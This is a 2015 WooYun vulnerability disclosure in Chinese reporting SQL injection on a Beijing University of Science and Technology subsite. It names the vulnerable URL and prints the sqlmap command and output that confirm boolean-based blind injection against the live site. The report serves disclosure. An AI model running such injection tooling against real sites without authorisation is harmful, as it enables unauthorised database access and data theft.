当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0132153

漏洞标题:北京科技大学某分站存在sql注入漏洞

相关厂商:CCERT教育网应急响应组

漏洞作者: 路人甲

提交时间:2015-08-11 23:12

修复时间:2015-08-16 23:14

公开时间:2015-08-16 23:14

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-11: 细节已通知厂商并且等待厂商处理中
2015-08-16: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:


详细说明:

北京科技大学某分站存在sql注入漏洞,暴露大量信息
漏洞页面:http://adma.ustb.edu.cn/szdw.asp?fid=208&id=468

2.png

1.png


3.png


root@kali:~# sqlmap -u "http://adma.ustb.edu.cn/szdw.asp?fid=208&id=468" -p id --dbms access --tamper=between
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:44:54
[15:44:54] [INFO] loading tamper script 'between'
[15:44:54] [INFO] testing connection to the target URL
[15:44:55] [INFO] testing if the target URL is stable. This can take a couple of seconds
[15:44:57] [INFO] target URL is stable
[15:44:57] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[15:44:57] [INFO] testing for SQL injection on GET parameter 'id'
[15:44:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:45:00] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[15:45:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:45:00] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:45:01] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[15:45:17] [INFO] target URL appears to have 33 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[15:45:48] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if anyn
sqlmap identified the following injection points with a total of 152 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: fid=208&id=468 AND 9705=9705
---
[15:45:57] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[15:45:57] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[15:45:57] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 8 times, 404 (Not Found) - 135 times
[15:45:57] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/adma.ustb.edu.cn'
[*] shutting down at 15:45:57

漏洞证明:

如上,虽然还没完成,但时间有限,就到这里吧

修复方案:

过滤id,好多处id都能注入呢

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-16 23:14

厂商回复:

最新状态:

暂无